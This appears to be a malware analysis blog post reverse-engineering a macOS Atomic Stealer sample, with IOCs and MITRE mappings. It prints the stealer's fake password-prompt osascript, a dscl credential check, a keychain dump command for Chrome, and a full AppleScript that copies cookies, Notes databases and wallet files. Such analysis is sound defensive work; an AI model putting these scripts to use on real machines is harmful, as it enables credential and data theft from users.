12 minute read

Hello everybody, this is my first macOS malware analysis, I took a sample from malwarebazaar and tried to reverse it, the sample was uploaded by Cryptolaemus1 on 14 Feb 2024.

While analysing the stage two, it was clear that the sample is a variant of Atomic Stealer.

Atomic Stealer, as reported by SentinelOne is a macOS info stealer sold on Telegram, able to grab system information, account credential, browser data, session cookies and crypto wallets.

The main behaviours are the same already well described by RussianPanda.

Stage One

The file downloaded from malwarebazaar is a dmg file called application_v1.1.dmg, I don’t know where it came from but we can suppose that it was distributed as a fake program as reported by Malwarebytes.

The SHA-256 for the file is 08ff8a6500d623b062dcef8a2ef6fc141c1871f7a84b42f842d470fee26070c4, obiviously it was already submitted on VirusTotal.


Figure 1 - VirusTotal application_v1.1.dmg

The dmg contains the following files:

  • .DS_Store
  • .DropDMGBackground
  • .fseventsd
  • AppleApp


Figure 2 - application_v1.1.dmg Content

The mach-o AppleApp file is reported as malicious by VirusTotal, its SHA-256 is 4ac7d15c8a397cd68ba9e7166b2e356175761bf4580d0e03e3db994c3ceda3fa


Figure 3 - VirusTotal AppleApp

The file is signed with an adhoc signature.


Figure 4 - AppleApp adhoc Signature

When the dmg file is opened, it shows the following image requesting the user to right click and use the open option.


Figure 5 - AppleApp Installation

When the the file is opened, it asks the user to enter his password.


Figure 6 - Password Pop-up

Let’s try to reverse engineer the AppleApp mach-o to understand what it does.

Decrypt Stage Two Mach-o

The main function of the x64 AppleApp mach-o, creates and prints the string “osascript -e ‘tell application “Terminal” to close first windows& exit ‘”, and executes a fork, after that the parent process exits while the child process executes setsid, the osascript via system and the main2 function by running a new thread.


Figure 7 - AppleApp Main Function

The main2 function gets the user name by executing getenv(“USER”), it decrypts an embedded mach-o file using the encryptDecrypt function (0xBFC10 is the size of the encrypted file), writes the decrypted file to /Users/USERNAME/exe, then using system it executes chmod +x on the new created file to make it executable, then it runs the exe file via system, after that it sleeps for 1 seconds and deletes the /Users/USERNAME/exe file.


Figure 8 - AppleApp Main2 Function

The encryptDecrypt function is a simple xor between the encrypted mach-o file and the hardcoded key 0x13.


Figure 9 - AppleApp encryptDecrypt Function

Stage Two

The mach-o exe file is reported as malicious by VirusTotal, its SHA-256 is c802c94d0836039aa986e66200233bdf84a9f68512e7ba6d22e93ab679309d4a.


Figure 10 - VirusTotal exe

The file is signed with an adhoc signature.


Figure 11 - exe adhoc Signature

The main function is similar to the one of the AppleApp mach-o, it creates and prints the string “osascript -e ‘tell application “Terminal” to close first windows& exit ‘”, executes a fork, the parent process exits and the child process continue the execution.

The child process executes setsid, and executes the osascript by using the shellermy function.


Figure 12 - exe Main Function

The shellermy function is used to execute commands, it uses the popen function, and then reads the command output using the fread functions as shown in the image below.


Figure 13 - exe Shellermy Function

After this the malware executes several functions to steal informations and files from the system.

Verify The User Password

The malware checks the user password by calling the shellermy function with the dscl command shown below as parameter.

dscl . authonly "username" "password"

If the password is valid the dscl command returns an empty response, otherwise the following message is returned.


Figure 14 - Credential Validation Fails

The haha_check_cv function is used to validate the dscl command output, it returns 1 if the user password is valid, otherwise it returns 0. In the following screenshot, we can see the haha_check_cv function executes the shellermy function (with the dscl command as parameter), comparing the shellermy output (it is the dscl command output) and returns the flag value related to the credential validity.


Figure 15 - exe haha_check_cv Function

The first time the dscl command is executed with a blank password, if it fails, this means that the user has a password.

Ask the User Password

The getpasswordit function is used to ask the user to enter his password by calling the shellermy function with the following osascript as parameter. If the user has a blank password, this function is not executed.

osascript -e 'display dialog "Required Application Helper. Please enter passphrase for USERNAME." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Application wants to install helper" with hidden answer'

After that, the malware executes the dscl command again to validate the credentials, this process will be executed until the user enters the correct password. The credentials check is done by the haha_check_cv function.

The following screenshot of the getpasswordit function, shows the exit condition from the loop responsible to ask the user password, it breaks when the haha_check_cv returns 1.


Figure 16 - exe getpasswordit Loop

Get System Information

The malware gets system information by executing the following command via shellarmy.

system_profiler SPSoftwareDataTye SPHardwareDataType SPDisplaysDataType

In the image below we can see a portion of the command result in the debugger.


Figure 17 - system_profiler output

At this point RussianPanda reportes an anti-vm check, in this sample this check is not implemented.

Steal Data

The Malware uses several functions to steal files related to Browsers, Wallets and System data.

RussiandPanda and BitDefender reported the new version of the “FileGrabber” functionality used by the malware to grab several files and put them in the folder ~/fg/. In their blogs, they showed the osascript used to do this.

In my sample the FileGrabber osacript and the related string FileGrabber used to create the file in the zip, are both encrypted in the segment section at the following addresses:

  • 0x10003DFE2
  • 0x10003E0FA
  • 0x10003E33A
  • 0x10003E5CA
  • 0x10003E8EA

These strings are decrypted during the malware execution, but the script itself is never executed. In the following snipet you can see the decrypted FileGrabber osascript.

osascript -e '
    set destinationFolderPath to (path to home folder as text) & "fg:"
    set extensionsList to {"txt","png","jpg","jpeg","wallet","keys","key"} 
    set bankSize to 0 
    tell application "Finder" 
    set username to short user name of (system info) 
        if not (exists folder destinationFolderPath) then 
            make new folder at (path to home folder) with properties {name:"fg"} 
        end if 
        set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:") 
            duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing 
        end try 
        set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:" 
            set notesFolder to folder notesFolderPath 
            set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder 
            repeat with aFile in notesFiles 
                set fileSize to size of aFile 
                if (bankSize + fileSize) < 10 * 1024 * 1024 then 
                        duplicate aFile to folder destinationFolderPath with replacing 
                        set bankSize to bankSize + fileSize 
                    end try 
                    exit repeat 
                end if 
            end repeat 

        end try 
        set desktopFiles to every file of desktop 
        set documentsFiles to every file of folder "Documents" of (path to home folder) 
        repeat with aFile in (desktopFiles & documentsFiles) 
            set fileExtension to name extension of aFile 
            if fileExtension is in extensionsList then 
                set fileSize to size of aFile 
                if (bankSize + fileSize) < 10 * 1024 * 1024 then 
                        duplicate aFile to folder destinationFolderPath with replacing 
                        set bankSize to bankSize + fileSize 
                    end try 
                    exit repeat 
                end if 
            end if 
        end repeat 
    end try 
end tell'

It looks like that the execution of the FileGrabber osascript was disabled, but the malware is still looking for the ~/fg/ folder when collecting informations. I suppose it was disabled in order to not save files on disk and to not allarm the user with an additional pop-up.

The ChronosMasiter function is used to find Chrome passwords in the keychain. It executes the following command by passing it as parameter to the shellermy function.

security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'

When the command is executed a system pop-up spawns because macOS wants the user to enter the password to access the keychain.


Figure 18 - Keychain Access

The ChronosMasiter function is executed only if the user has a blank password, I think it is a way to not allarm the user by asking for his password two times.


Figure 19 - Call to ChronosMasiter function

The read_dir function is used to open a directory and read its contents, it uses stat, opendir and the readdir functions as shown below.


Figure 20 - exe read_dir Function

The rodwrote function, is used to open and read files, it uses the open and the read functions, the file content is written into the zip using the mz_zip_writer_add_mem_ex_v2 function.


Figure 21 - exe rodwrote Function

At this point the above functions are used to read folders and files, they are called by the following functions:

  • grab_this_folder_nahuy : is responsible to steal Wallets data
  • grab_this_nahuy: is responsible to steal Browser data
  • getpw : is responsible to steal data related to Chrome Wallets plugins
  • pathfox: is responsible to steal data related to Firefox

String Encryption

All the strings are encrypted and are stored in the const segment, for example we can see the encrypted C2 string at address 0x10003DFCA.


Figure 22 - Encrypted C2 Strings

The strings are not directly manipulated during the decryption process, they are copied in a Thread Local Variables(TLV) at offset 0x10. For example in the image below a thread local variable is used to store the encrypted C2 strings.


Figure 23 - Thread Local Variable

After that the encrypted strings is xored with a hardcoded key that is incremented by 1 at each iteration, for example in the following snipet the c2_thread_local_variable_1 variable is the address containing the Encrypted C2 string (at offset 0xA), the i variable is just a counter incresed by 1 at each iteration and 0x77 is the hardcoded key.


Figure 24 - XOR Operation

The hardcoded key is not the same for all the strings, there are keys that are added to the counter (for example 0x77 in Figure 24) and keys that are subtracted from it. The strings are basically the same reported by RussianPanda, you can find mine here

Data Exfiltration

The malware exfiltrates the stolen informations using a zip file that is filled everytime it reads informations (username, password, files), the malware uses the functions mz_zip_writer_finalize_archive and mz_zip_writer_end_internal to finalize the zip file.


Figure 25 - Zip Finalize

After that it executes the sentdata function to enstablish a connection to the C2 server and send a HTTP POST request containing the zip file.


Figure 26 - HTTP Post Request to C2

The HTTP request has the two following headers with hardcoded values:

  • uuid: 42b7baec-e6da-483a-b26c-0e9cb2579abf
  • user: october

I dumped the zip file from the memory during an execution without any browser and wallet installed on the system, I found the following files related to the keychain, username, password and system information.


Figure 27 - Zip Files

As example the file user contains the following data.


Figure 28 - File User Content


The analysis of known malwares is still an interesting activity because every sample may have different behaviours.

The use of Thread Local Variables to decrypt and use the strings is very interesting.

The decrypting process described differs from the one reported in other blogs, moreover this sample requires only a minimum user interaction because the FileGrabber functiontality is disabled and the ChronosMasiter function is executed only if the user has a blank password.

The generic names such as application_v1.1.dmg, AppleApp, and the presence of several functions that are not used can lead us to suppose that this is a test version.

Feel free to contact me, I’d appreciate any feedback.


Reconnaissance T1592.001 Gather Victim Host Information: Hardware
Reconnaissance T1592.004 Gather Victim Host Information: Client Configurations
Reconnaissance T1589.001 Gather Victim Identity Information: Credentials
Resource Development T1583.008 Acquire Infrastructure: Malvertising
Initial Access TA0001 Initial Access
Execution T1059.002 Command and Scripting Interpreter: AppleScript
Exeution T1059.004 Command and Scripting Interpreter: Unix Shell
Execution T1204.002 User Execution: Malicious File
Defense Evasion T1140 Deobfuscate/Decode Files or Information
Defense Evasion T1070.004 Indicator Removal: File Deletion
Defense Evasion T1027.009 Obfuscated Files or Information: Embedded Payloads
Credential Access T1555.001 Credentials from Password Stores: Keychain
Credential Access T1555.003 Credentials from Password Stores: Credentials from Web Browsers
Credential Access T1539 Steal Web Session Cookie
Discovery T1087 Account Discovery
Discovery T1217 Browser Information Discovery
Discovery T1083 File and Directory Discovery
Discovery T1082 System Information Discovery
Collection T1560.002 Archive Collected Data: Archive via Library
Collection T1119/ Automated Collection
Collection T1005 Data from Local System
Command and Control T1071.001/ Application Layer Protocol: Web Protocols
Exfiltration T1030 Data Transfer Size Limits
Exfiltration T1041 Exfiltration Over C2 Channel

Indicators of Compromise

DMG SHA256 08ff8a6500d623b062dcef8a2ef6fc141c1871f7a84b42f842d470fee26070c4
Mach-O SHA256 4ac7d15c8a397cd68ba9e7166b2e356175761bf4580d0e03e3db994c3ceda3fa
Mach-O SHA256 c802c94d0836039aa986e66200233bdf84a9f68512e7ba6d22e93ab679309d4a
C2 IP 5.42.64[.]114